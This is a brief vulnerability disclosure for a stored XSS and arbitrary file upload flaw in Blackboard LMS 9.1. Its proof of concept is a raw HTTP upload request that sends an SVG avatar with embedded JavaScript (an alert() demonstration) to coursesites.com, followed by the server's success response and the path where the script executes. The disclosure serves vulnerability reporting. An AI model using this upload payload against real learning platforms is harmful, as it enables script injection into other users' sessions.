BlackBoard LMS 9.1.140152.0 XSS / File Upload

`Document Title:  
===============  
BlackBoard LMS 9.1 (9.1.140152.0) Stored XSS/Arbitrary File Upload  
  
  
Product Description:  
===============  
  
The Learning Management System has changed the way students and  
educators interact.  
  
Blackboard's LMS solutions offer much more than simple, classroom interaction,  
  
they support the entire education experience enabling educators to not  
only interact,  
  
but truly engage their students in learning.  
  
  
Homepage: http://www.blackboard.com/learning-management-system/index.aspx  
  
  
PoC:  
  
===============  
  
  
POST /webapps/Bb-sites-user-profile-BBLEARN/uploadAvatar.do HTTP/1.1  
  
Host: www.coursesites.com  
  
  
------WebKitFormBoundaryMB47ytMHFUAG9AAt  
Content-Disposition: form-data; name="avatarFile"; filename="badsv2.svg"  
Content-Type: image/svg+xml  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"  
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"  
stroke="#004400"/>  
<script type="text/javascript">  
alert("ismail1337");  
</script>  
</svg>  
------WebKitFormBoundaryMB47ytMHFUAG9AAt--  
  
  
Response:  
  
  
{"success":true,"message":"/bbcswebdav/users/your_user_id/public_html/badsv2.svg"}  
  
  
Navigate to the returned URL path:  
  
https://www.coursesites.com/bbcswebdav/users/your_user_id  
/public_html/badsv2.svg  
  
  
`